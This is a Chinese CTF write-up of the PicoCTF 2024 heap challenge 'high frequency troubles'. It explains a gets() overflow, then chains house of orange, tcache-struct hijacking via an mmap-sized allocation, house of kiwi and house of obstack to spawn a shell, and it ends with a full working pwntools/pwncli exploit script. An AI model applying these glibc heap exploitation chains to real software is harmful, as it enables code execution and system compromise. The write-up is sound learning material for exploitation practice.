PicoCTF 2024 - high frequency troubles
selph 发表于 北京 历史精选 866浏览 · 2024-10-22 09:15

前言

非常精彩的一道题目,2.35下的无free,且不能自如控制chunk的情况下,通过house of orange的技巧以及通过申请大于mp_.mmap_threshold的chunk配合溢出完成劫持tcache结构体的目标,从而实现任意内存分配,通过任意内存分配拿到地址泄露,最终通过house of kiwi + house of obstack完成drop shell

题目情况

题目描述:Additional details will be available after launching your challenge instance.

难度:Hard

Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

hint:allocate a size greater than mp_.mmap_threshold

逆向分析

main:

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  uint64_t v3; // rax
  size_t sz; // [rsp+8h] [rbp-18h] BYREF
  pkt_t *pkt; // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  putl(PKT_MSG_INFO, "BOOT_SQ");
  while ( 1 )                                   // 每次循环申请一次内存,写入一次数据,可溢出
                                                // 申请的内存不会主动释放
  {
    putl(PKT_MSG_INFO, "PKT_RES");
    sz = 0LL;
    fread(&sz, 8uLL, 1uLL, stdin);              // 输入size,用pack去发送
    pkt = (pkt_t *)malloc(sz);
    pkt->sz = sz;
    gets(pkt->data);                            // 堆溢出
    v3 = pkt->data[0];
    if ( v3 )
    {
      if ( v3 == 1 )
        putl(PKT_MSG_DATA, (char *)&pkt->data[1]);// 打印信息,可以泄露地址
      else
        putl(PKT_MSG_INFO, "E_INVAL");
    }
    else
    {
      putl(PKT_MSG_DATA, "PONG_OK");
    }
  }
}

程序很简单,while循环中,不断读取大小和输入,每次循环申请一次内存,写入一次数据,判断第一个值是否是1来决定是否打印后面的内容

这里的pkt_t结构体是:

00000000 pkt_t           struc ; (sizeof=0x8, align=0x8, copyof_8, variable size)
00000000 sz              dq ?
00000008 data            dq 0 dup(?)
00000008 pkt_t           ends

这里的gets存在堆溢出问题,gets会被EOF和0x0a截断,正常输入不存在什么问题,但是gets会给输入末尾添加0x00,导致截断后面的内容

利用分析

这个场景是没有free的堆溢出题目,不能随意控制其他申请出来的chunk,只能给最新申请的chunk写入数据,main函数不会返回,不会调用exit(),没有退出流程

提示说allocate a size greater than mp_.mmap_threshold,申请一个大于mp_.mmap_threshold的内存,一定是有什么意义的

保护全开且无canary,像是想让人最后打ROP来拿到shell,要打ROP,就需要栈的地址,需要libc的地址,可能还需要堆的地址(后来发现,条件满足了直接打IO直接拿shell了)

当前面对的第一个问题就是,如何完成地址泄露?

辅助函数:

def do(sz: int,data: bytes):
    rl(b"[PKT_RES]")
    s(pack(sz))
    sl(data)

leak heap address - 利用house of orange技巧

对于无free的场景,可以用到house of orange中的技巧,覆盖top chunk size为一个小的页面对齐的数字,然后再次申请top chunk无法分配的大小的chunk,就会将top chunk整个给释放掉,从而创造出一个释放的chunk

do(0x10,b'a'*0x10 +pack(0xd51))
do(0xd48,b"b")
#do(0x2000,b"b")

# leak heap address
do(0x10,b"\x01\x00\x00\x00\x00\x00\x00")
ru(b"PKT_DATA\x1b[m:[")
heapleak = rl()[:-2]
heapleak = unpack(heapleak,"all")
heapbase = heapleak - 0x2b0

success(f"heapleak: {hex(heapleak)}")
success(f"heapbase: {hex(heapbase)}")

此时的堆:

0x5608b2bd0290  0x0000000000000000      0x0000000000000021      ........!.......
0x5608b2bd02a0  0x0000000000000010      0x6161616161616161      ........aaaaaaaa
0x5608b2bd02b0  0x6161616161616161      0x0000000000000d31      aaaaaaaa1.......         <-- unsortedbin[all][0]
0x5608b2bd02c0  0x00007f8a6b506ce0      0x00007f8a6b506ce0      .lPk.....lPk....
0x5608b2bd02d0  0x0000000000000000      0x0000000000000000      ................
0x5608b2bd02e0  0x0000000000000000      0x0000000000000000      ................
0x5608b2bd02f0  0x0000000000000000      0x0000000000000000      ................
0x5608b2bd0300  0x0000000000000000      0x0000000000000000      ................

这里再次申请内存:

0x5608b2bd0290  0x0000000000000000      0x0000000000000021      ........!.......
0x5608b2bd02a0  0x0000000000000010      0x6161616161616161      ........aaaaaaaa
0x5608b2bd02b0  0x6161616161616161      0x0000000000000021      aaaaaaaa!.......
0x5608b2bd02c0  0x0000000000000010      0x0000000000000001      ................
0x5608b2bd02d0  0x00005608b2bd02b0      0x0000000000000d11      .....V..........         <-- unsortedbin[all][0]
0x5608b2bd02e0  0x00007f8a6b506ce0      0x00007f8a6b506ce0      .lPk.....lPk....
0x5608b2bd02f0  0x0000000000000000      0x0000000000000000      ................
0x5608b2bd0300  0x0000000000000000      0x0000000000000000      ................
0x5608b2bd0310  0x0000000000000000      0x0000000000000000      ................

这里在申请的时候,unsortedbin chunk 会被sort进 largebin 此时会存在fd_nextsize和bk_nextsize字段,如果输入7个字节,\x01\x00\x00\x00\x00\x00\x00gets函数在末尾补一个00,就能正常打印出来heap地址了

[+] heapleak: 0x5608b2bd02b0
[+] heapbase: 0x5608b2bd0000

leak libc address - 利用tcache结构体指针完成任意内存分配

这里的Hint说申请一个大于mp_.mmap_threshold的内存,亲测发现,申请出来的内存位于libc上面,是紧挨着的,而libc上面的部分,会存在tcache指针,指向tcache结构体,这个结构体原本指向heap的第一个chunk(0x290),这个指针被修改到一个可控内存上,意味着我们可控tcache chunk的分配了,之前是把chunk分配在原本的largebin chunk上,泄露出来了堆地址,如果能申请在largebin chunk - 0x10的位置,就可以泄露出libc地址了

# hijack tcache struct
fake_tcache_struct = heapbase + 0x2f0
tcache_struct = flat({
    0x00:p16(1)*2 + p16(0)*62,
    0x80:pack(heapbase+0x580)+p64(fake_tcache_struct-0x10) + pack(0)*62
})

success(f"fake tcache struct size: {hex(len(tcache_struct))}")

do(0x2a8,pack(2)+tcache_struct)

success(f"fake tcache struct address: {hex(fake_tcache_struct)}")
do(0x22000,b"a"*(0x22000 + 0x16e0) + pack(fake_tcache_struct))

# leak libc address
do(0x10,b"\x01\x00\x00\x00\x00\x00\x00")
ru(b"PKT_DATA\x1b[m:[")
libcleak = rl()[:-2]
libcleak = unpack(libcleak,"all")
libc.address = libcleak -0x21a260# dbg版本-0x1e1260

success(f"libcleak: {hex(libcleak)}")
success(f"libc base: {hex(libc.address)}")

vmmap:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x5608b28c6000     0x5608b28c7000 r--p     1000      0 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/hft
    0x5608b28c7000     0x5608b28c8000 r-xp     1000   1000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/hft
    0x5608b28c8000     0x5608b28c9000 r--p     1000   2000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/hft
    0x5608b28c9000     0x5608b28ca000 r--p     1000   2000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/hft
    0x5608b28ca000     0x5608b28cb000 rw-p     1000   3000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/hft
    0x5608b28cb000     0x5608b28cc000 rw-p     1000   5000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/hft
    0x5608b2bd0000     0x5608b2c13000 rw-p    43000      0 [heap]
    0x7f8a6b2c7000     0x7f8a6b2ed000 rw-p    26000      0 [anon_7f8a6b2c7]
    0x7f8a6b2ed000     0x7f8a6b315000 r--p    28000      0 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/libc.so.6
    0x7f8a6b315000     0x7f8a6b4aa000 r-xp   195000  28000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/libc.so.6
    0x7f8a6b4aa000     0x7f8a6b502000 r--p    58000 1bd000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/libc.so.6
    0x7f8a6b502000     0x7f8a6b506000 r--p     4000 214000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/libc.so.6
    0x7f8a6b506000     0x7f8a6b508000 rw-p     2000 218000 /mnt/d/Misc/CTF/CTF-练习/PicoCTF_/high frequency troubles/libc.so.6

修改后:

pwndbg> tcache 0x5608b2bd02f0
tcache is pointing to: 0x5608b2bd02f0 for thread 1
{
  counts = {0, 1, 0 <repeats 62 times>},
  entries = {0x5608b2bd0, 0x5608b2bd02e0, 0x0 <repeats 62 times>},
}
[+] libcleak: 0x7f8a6b507260
[+] libc base: 0x7f8a6b2ed000

这里tcache的0x30这条链,指向了该tcache结构本身,用于后续拿到libc地址之后再次修改再次控制内存分配

house of kiwi - __malloc_assert 调用链分析

这里没法正常返回,也不调用exit,可以用house of kiwi中的技巧,通过malloc_assert来触发IO操作

house of kiwi 提出了一种触发 __malloc_assert 的思路:修改top chunk size来触发

在申请内存的时候,如果top chunk size小于申请大小,就会进入如下代码分支:

else
        {
            void *p = sysmalloc(nb, av);
            if (p != NULL)
                alloc_perturb(p, bytes);
            return p;
        }

通过sysmalloc进行处理,这里的第一个安全检查:

/* Record incoming configuration of top */
    // 记录 top 的增长配置
    old_top = av->top;
    old_size = chunksize(old_top);
    old_end = (char *)(chunk_at_offset(old_top, old_size));

    brk = snd_brk = (char *)(MORECORE_FAILURE);

    /*
       If not the first time through, we require old_size to be
       at least MINSIZE and to have prev_inuse set.
     */
    // 如果不是第一次增长
    // 安全检查:需要old_size至少是MINSIZE,并且有prev_inuse设置
    //          需要old top满足要求,大小正常,标志位正常
    assert((old_top == initial_top(av) && old_size == 0) ||
           ((unsigned long)(old_size) >= MINSIZE &&
            prev_inuse(old_top) &&
            ((unsigned long)old_end & (pagesize - 1)) == 0));

    /* Precondition: not enough current space to satisfy nb request */
    // 没有足够的空间用于申请分配内存
    assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));

拿到旧的top chunk信息,检查条件,只需要满足条件之一即可触发assert:

  1. top chunk size < 0x20(MINSIZE)
  2. prev inuse = 0
  3. old_top 没有页对齐

这里assert函数是:

#  define assert(expr)                          \
    ((expr)                             \
     ? __ASSERT_VOID_CAST (0)                       \
     : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))

如果expr成立,执行ASSERT_VOID_CAST,否则执行assert_fail:

void
__assert_fail (const char *assertion, const char *file, unsigned int line,
           const char *function)
{
  __assert_fail_base (_("%s%s%s:%u: %s%sAssertion `%s' failed.\n%n"),
              assertion, file, line, function);
}

__assert_fail_base:

void
__assert_fail_base (const char *fmt, const char *assertion, const char *file,
            unsigned int line, const char *function)
{
  char *str;

#ifdef FATAL_PREPARE
  FATAL_PREPARE;
#endif

  int total;
  if (__asprintf (&str, fmt,
          __progname, __progname[0] ? ": " : "",
          file, line,
          function ? function : "", function ? ": " : "",
          assertion, &total) >= 0)
    {
      /* Print the message.  */ // 触发 IO 流操作
      (void) __fxprintf (NULL, "%s", str);
      (void) fflush (stderr);

...
}

这里调用了fflush(stderr)__fxprintf

这里的__fxprintf会首先触发IO操作

__fxprintf 调用链分析

int
__fxprintf (FILE *fp, const char *fmt, ...)
{
  va_list ap;
  va_start (ap, fmt);
  int res = __vfxprintf (fp, fmt, ap, 0);
  va_end (ap);
  return res;
}


int
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
         unsigned int mode_flags)
{
  if (fp == NULL)
    fp = stderr;
  _IO_flockfile (fp);
  int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
  _IO_funlockfile (fp);
  return res;
}

调用到locked_vfxprintf:

static int
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,
          unsigned int mode_flags)
{
  if (_IO_fwide (fp, 0) <= 0)
    return __vfprintf_internal (fp, fmt, ap, mode_flags);

  /* We must convert the narrow format string to a wide one.
     Each byte can produce at most one wide character.  */
  wchar_t *wfmt;
  mbstate_t mbstate;
  int res;
  int used_malloc = 0;
  size_t len = strlen (fmt) + 1;

  if (__glibc_unlikely (len > SIZE_MAX / sizeof (wchar_t)))
    {
      __set_errno (EOVERFLOW);
      return -1;
    }
  if (__libc_use_alloca (len * sizeof (wchar_t)))
    wfmt = alloca (len * sizeof (wchar_t));
  else if ((wfmt = malloc (len * sizeof (wchar_t))) == NULL)
    return -1;
  else
    used_malloc = 1;

  memset (&mbstate, 0, sizeof mbstate);
  res = __mbsrtowcs (wfmt, &fmt, len, &mbstate);

  if (res != -1)
    res = __vfwprintf_internal (fp, wfmt, ap, mode_flags);

  if (used_malloc)
    free (wfmt);

  return res;
}

接下来进入vfprintf函数,这里最终会进入到outstring函数,这里触发了io调用:

/* The function itself.  */
int vfprintf(FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{

...

        /* Write the following constant string.  */
        outstring(end_of_spec, f - end_of_spec);
    } while (*f != L_('\0'));

    /* Unlock stream and return.  */
    goto all_done;

    /* Hand off processing for positional parameters.  */
do_positional:
    done = printf_positional(s, format, readonly_format, ap, &ap_save,
                             done, nspecs_done, lead_str_end, work_buffer,
                             save_errno, grouping, thousands_sep, mode_flags);

all_done:
    /* Unlock the stream.  */
    _IO_funlockfile(s);
    _IO_cleanup_region_end(0);

    return done;
}

outstring:

static inline int
outstring_func(FILE *s, const UCHAR_T *string, size_t length, int done)
{
    assert((size_t)done <= (size_t)INT_MAX);
    if ((size_t)PUT(s, string, length) != (size_t)(length))
        return -1;
    return done_add_func(length, done);
}

#define outstring(String, Len)                          \
    do                                                  \
    {                                                   \
        const void *string_ = (String);                 \
        done = outstring_func(s, string_, (Len), done); \
        if (done < 0)                                   \
            goto all_done;                              \
    } while (0)

这里调用outstring_func,这是个inline函数,这里会调用到PUT:

#define PUT(F, S, N) _IO_sputn((F), (S), (N))
0x7f5a335575e7 <__vfprintf_internal+383>    mov    rdx, rbx
   0x7f5a335575ea <__vfprintf_internal+386>    mov    rsi, qword ptr [rsp + 0x18]
   0x7f5a335575ef <__vfprintf_internal+391>    mov    rdi, r12
  0x7f5a335575f2 <__vfprintf_internal+394>    call   qword ptr [r13 + 0x38]

是虚表vtable+0x38的函数,只要控制这里指向伪造IO使用的虚表函数,即可完成触发

house of obstack - IO劫持drop shell

触发流程已经分析清楚了,接下来就是构造劫持IO结构了,关于IO结构劫持,这里用任何一个可以在2.35用的vtable函数都行,不管是打house of apple还是house of cat或者其他什么,这里我用了新学的house of obstack来完成这次利用,触发就是控制top chunk size为0x10,然后申请超过0x10的内存即可

tcache_struct2 = flat({
    0x00:p16(1)*3 + p16(0)*61,
    0x80:pack(libc.sym.stderr-0x10)+p64(heapbase) +pack(heapbase + 0x21d40) +pack(0)*61
})

do(0x28,cyclic(8) + tcache_struct2)

# house of kiwi + house of obstack
fp = heapbase 
io_payload = flat({
    0x18:pack(1),
    0x20:pack(0),
    0x28:pack(1),
    0x30:pack(0),
    0x38:pack(libc.sym.system),
    0x40:b"/bin/sh\x00",
    0x48:pack(fp+0x40),
    0x50:pack(1),
    0x88:pack(heapbase+0x200),
    0xd8:pack(libc.sym._IO_file_jumps - 0x240),#    0xd8:pack(libc.sym._IO_obstack_jumps+0x20),
    0xe0:pack(fp)
},filler=b"\x00")

do(0x10,pack(libc.sym._IO_file_jumps) + pack(fp))
do(0x20,io_payload[0x8:])

# trigger
do(0x30,pack(0x10)*3)
do(0x1000,cyclic(0x1))

直接拿shell,完结撒花

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def do(sz: int,data: bytes):
    rl(b"[PKT_RES]")
    s(pack(sz))
    sl(data)

# 0x21000 - 0x290 - 0x20 & 0xfff = 0xd51
do(0x10,b'a'*0x10 +pack(0xd51))
do(0xd48,b"b")
#do(0x2000,b"b")

# leak heap address
do(0x10,b"\x01\x00\x00\x00\x00\x00\x00")
ru(b"PKT_DATA\x1b[m:[")
heapleak = rl()[:-2]
heapleak = unpack(heapleak,"all")
heapbase = heapleak - 0x2b0

success(f"heapleak: {hex(heapleak)}")
success(f"heapbase: {hex(heapbase)}")

# hijack tcache struct
fake_tcache_struct = heapbase + 0x2f0
tcache_struct = flat({
    0x00:p16(1)*2 + p16(0)*62,
    0x80:pack(heapbase+0x580)+p64(fake_tcache_struct-0x10) + pack(0)*62
})

success(f"fake tcache struct size: {hex(len(tcache_struct))}")

do(0x2a8,pack(2)+tcache_struct)

success(f"fake tcache struct address: {hex(fake_tcache_struct)}")
do(0x22000,b"a"*(0x22000 + 0x16e0) + pack(fake_tcache_struct))

# leak libc address
do(0x10,b"\x01\x00\x00\x00\x00\x00\x00")
ru(b"PKT_DATA\x1b[m:[")
libcleak = rl()[:-2]
libcleak = unpack(libcleak,"all")
libc.address = libcleak -0x21a260# dbg版本-0x1e1260

success(f"libcleak: {hex(libcleak)}")
success(f"libc base: {hex(libc.address)}")


# alloc a address to reedit the tcache struct

tcache_struct2 = flat({
    0x00:p16(1)*3 + p16(0)*61,
    0x80:pack(libc.sym.stderr-0x10)+p64(heapbase) +pack(heapbase + 0x21d40) +pack(0)*61
})

do(0x28,cyclic(8) + tcache_struct2)

# house of kiwi + house of obstack
fp = heapbase 
io_payload = flat({
    0x18:pack(1),
    0x20:pack(0),
    0x28:pack(1),
    0x30:pack(0),
    0x38:pack(libc.sym.system),
    0x40:b"/bin/sh\x00",
    0x48:pack(fp+0x40),
    0x50:pack(1),
    0x88:pack(heapbase+0x200),
    0xd8:pack(libc.sym._IO_file_jumps - 0x240),#    0xd8:pack(libc.sym._IO_obstack_jumps+0x20),
    0xe0:pack(fp)
},filler=b"\x00")

do(0x10,pack(libc.sym._IO_file_jumps) + pack(fp))
do(0x20,io_payload[0x8:])

# trigger
do(0x30,pack(0x10)*3)
do(0x1000,cyclic(0x1))

ia()

参考资料

0 条评论
某人
表情
可输入 255

没有评论